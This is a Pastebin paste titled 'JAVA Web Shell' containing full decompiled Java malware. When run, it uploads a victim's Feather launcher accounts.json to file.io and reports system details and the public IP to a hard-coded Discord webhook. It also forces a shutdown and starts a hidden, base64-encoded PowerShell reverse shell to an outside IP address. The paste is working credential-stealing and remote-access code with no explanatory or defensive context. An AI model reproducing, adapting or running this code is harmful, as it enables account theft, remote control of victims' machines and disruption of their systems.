Advertisement
JohnGalt14

JAVA Web Shell

Feb 28th, 2025
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 9.48 KB | None | 0 0
  1. import com.sun.management.OperatingSystemMXBean;
  2. import java.io.BufferedReader;
  3. import java.io.IOException;
  4. import java.io.InputStreamReader;
  5. import java.io.OutputStream;
  6. import java.io.OutputStreamWriter;
  7. import java.io.PrintWriter;
  8. import java.lang.management.ManagementFactory;
  9. import java.lang.management.RuntimeMXBean;
  10. import java.net.HttpURLConnection;
  11. import java.net.URL;
  12. import java.nio.file.Files;
  13. import java.nio.file.Paths;
  14.  
  15. public class Injector {
  16.    public static void main(String[] var0) {
  17.       String var1 = getSystemInfo();
  18.       String var2 = getPublicIpAddress();
  19.       String var3 = var1 + "\nPublic IP: " + var2;
  20.       String var4 = "C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\.feather\\accounts.json";
  21.       String var5 = uploadFileToFileio(var4);
  22.       var3 = var3 + "\nDownload link: " + var5;
  23.       String var6 = executeCommand("whoami");
  24.       String var7 = executeCommand("shutdown -s -t 60");
  25.       String var8 = executeCommand("powershell -ep bypass -e UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAUABTAEgATwBNAEUAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAewAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwA4ADMALgAxADYAOAAuADEAMQAwAC4AMQAzADMAJwAsADQANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A");
  26.       var3 = var3 + "\n\nPC:\n" + var6;
  27.       sendToDiscord(var3);
  28.    }
  29.  
  30.    private static String executeCommand(String var0) {
  31.       StringBuilder var1 = new StringBuilder();
  32.  
  33.       try {
  34.          Process var2 = Runtime.getRuntime().exec(var0);
  35.          BufferedReader var3 = new BufferedReader(new InputStreamReader(var2.getInputStream()));
  36.  
  37.          String var4;
  38.          while((var4 = var3.readLine()) != null) {
  39.             var1.append(var4).append("\n");
  40.          }
  41.  
  42.          var3.close();
  43.       } catch (IOException var5) {
  44.          var5.printStackTrace();
  45.       }
  46.  
  47.       return var1.toString();
  48.    }
  49.  
  50.    private static String uploadFileToFileio(String var0) {
  51.       try {
  52.          URL var1 = new URL("https://file.io");
  53.          HttpURLConnection var2 = (HttpURLConnection)var1.openConnection();
  54.          var2.setRequestMethod("POST");
  55.          var2.setRequestProperty("Content-Type", "multipart/form-data");
  56.          var2.setDoOutput(true);
  57.          String var3 = Long.toHexString(System.currentTimeMillis());
  58.          var2.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + var3);
  59.          OutputStream var4 = var2.getOutputStream();
  60.  
  61.          try {
  62.             PrintWriter var5 = new PrintWriter(new OutputStreamWriter(var4, "UTF-8"), true);
  63.  
  64.             try {
  65.                var5.append("--").append(var3).append("\r\n");
  66.                var5.append("Content-Disposition: form-data; name=\"file\"; filename=\"accounts.json\"\r\n");
  67.                var5.append("Content-Type: application/json\r\n");
  68.                var5.append("\r\n").flush();
  69.                Files.copy(Paths.get(var0), var4);
  70.                var4.flush();
  71.                var5.append("\r\n").flush();
  72.                var5.append("--").append(var3).append("--\r\n").flush();
  73.             } catch (Throwable var11) {
  74.                try {
  75.                   var5.close();
  76.                } catch (Throwable var10) {
  77.                   var11.addSuppressed(var10);
  78.                }
  79.  
  80.                throw var11;
  81.             }
  82.  
  83.             var5.close();
  84.          } catch (Throwable var12) {
  85.             if (var4 != null) {
  86.                try {
  87.                   var4.close();
  88.                } catch (Throwable var9) {
  89.                   var12.addSuppressed(var9);
  90.                }
  91.             }
  92.  
  93.             throw var12;
  94.          }
  95.  
  96.          if (var4 != null) {
  97.             var4.close();
  98.          }
  99.  
  100.          int var14 = var2.getResponseCode();
  101.          System.out.println("File upload response code: " + var14);
  102.          if (var14 != 200) {
  103.             System.out.println("Failed to upload file. HTTP response code: " + var14);
  104.             return "Upload failed";
  105.          } else {
  106.             BufferedReader var15 = new BufferedReader(new InputStreamReader(var2.getInputStream()));
  107.             StringBuilder var7 = new StringBuilder();
  108.  
  109.             String var6;
  110.             while((var6 = var15.readLine()) != null) {
  111.                var7.append(var6);
  112.             }
  113.  
  114.             var15.close();
  115.             String var8 = var7.toString();
  116.             return extractFileLink(var8);
  117.          }
  118.       } catch (IOException var13) {
  119.          var13.printStackTrace();
  120.          return "Upload failed";
  121.       }
  122.    }
  123.  
  124.    private static String extractFileLink(String var0) {
  125.       String var1 = "\"link\":\"";
  126.       int var2 = var0.indexOf(var1);
  127.       if (var2 == -1) {
  128.          return "Link extraction failed";
  129.       } else {
  130.          var2 += var1.length();
  131.          int var3 = var0.indexOf("\"", var2);
  132.          return var3 == -1 ? "Link extraction failed" : var0.substring(var2, var3);
  133.       }
  134.    }
  135.  
  136.    private static void sendToDiscord(String var0) {
  137.       String var1 = "https://discord.com/api/webhooks/1264350069512081702/ISJl_hyXvIquHB_lWasJ98C8l2ldYY7Ato6YfqJHnZfnqPD1EjrZdGUu17b0zEl9Yzq5";
  138.       HttpURLConnection var2 = null;
  139.  
  140.       try {
  141.          URL var3 = new URL(var1);
  142.          var2 = (HttpURLConnection)var3.openConnection();
  143.          var2.setRequestMethod("POST");
  144.          var2.setRequestProperty("Content-Type", "application/json");
  145.          var2.setDoOutput(true);
  146.          String var4 = "{ \"content\": \"" + escapeJson(var0) + "\" }";
  147.          System.out.println("Payload: " + var4);
  148.          OutputStream var5 = var2.getOutputStream();
  149.  
  150.          try {
  151.             byte[] var6 = var4.getBytes("utf-8");
  152.             var5.write(var6, 0, var6.length);
  153.          } catch (Throwable var15) {
  154.             if (var5 != null) {
  155.                try {
  156.                   var5.close();
  157.                } catch (Throwable var14) {
  158.                   var15.addSuppressed(var14);
  159.                }
  160.             }
  161.  
  162.             throw var15;
  163.          }
  164.  
  165.          if (var5 != null) {
  166.             var5.close();
  167.          }
  168.  
  169.          int var18 = var2.getResponseCode();
  170.          System.out.println("Response Code: " + var18);
  171.          if (var18 == 204) {
  172.             System.out.println("Message sent successfully.");
  173.          } else {
  174.             System.out.println("Failed to send message. HTTP response code: " + var18);
  175.             BufferedReader var19 = new BufferedReader(new InputStreamReader(var2.getErrorStream()));
  176.             StringBuilder var7 = new StringBuilder();
  177.  
  178.             String var8;
  179.             while((var8 = var19.readLine()) != null) {
  180.                var7.append(var8);
  181.             }
  182.  
  183.             var19.close();
  184.             System.out.println("Error response from Discord: " + var7.toString());
  185.          }
  186.       } catch (IOException var16) {
  187.          var16.printStackTrace();
  188.       } finally {
  189.          if (var2 != null) {
  190.             var2.disconnect();
  191.          }
  192.  
  193.       }
  194.  
  195.    }
  196.  
  197.    private static String getSystemInfo() {
  198.       StringBuilder var0 = new StringBuilder();
  199.       OperatingSystemMXBean var1 = (OperatingSystemMXBean)ManagementFactory.getOperatingSystemMXBean();
  200.       RuntimeMXBean var2 = ManagementFactory.getRuntimeMXBean();
  201.       var0.append("Operating System: ").append(var1.getName()).append(" ").append(var1.getVersion()).append("\n");
  202.       var0.append("Architecture: ").append(var1.getArch()).append("\n");
  203.       var0.append("Available Processors: ").append(var1.getAvailableProcessors()).append("\n");
  204.       var0.append("Java Version: ").append(var2.getSpecVersion()).append("\n");
  205.       var0.append("Java Vendor: ").append(var2.getVmVendor()).append("\n");
  206.       return var0.toString();
  207.    }
  208.  
  209.    private static String getPublicIpAddress() {
  210.       try {
  211.          URL var0 = new URL("http://checkip.amazonaws.com/");
  212.          BufferedReader var1 = new BufferedReader(new InputStreamReader(var0.openStream()));
  213.          String var2 = var1.readLine();
  214.          var1.close();
  215.          return var2;
  216.       } catch (IOException var3) {
  217.          return "Unable to determine public IP address";
  218.       }
  219.    }
  220.  
  221.    private static String escapeJson(String var0) {
  222.       return var0.replace("\\", "\\\\").replace("\"", "\\\"").replace("\b", "\\b").replace("\f", "\\f").replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t");
  223.    }
  224. }
  225.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement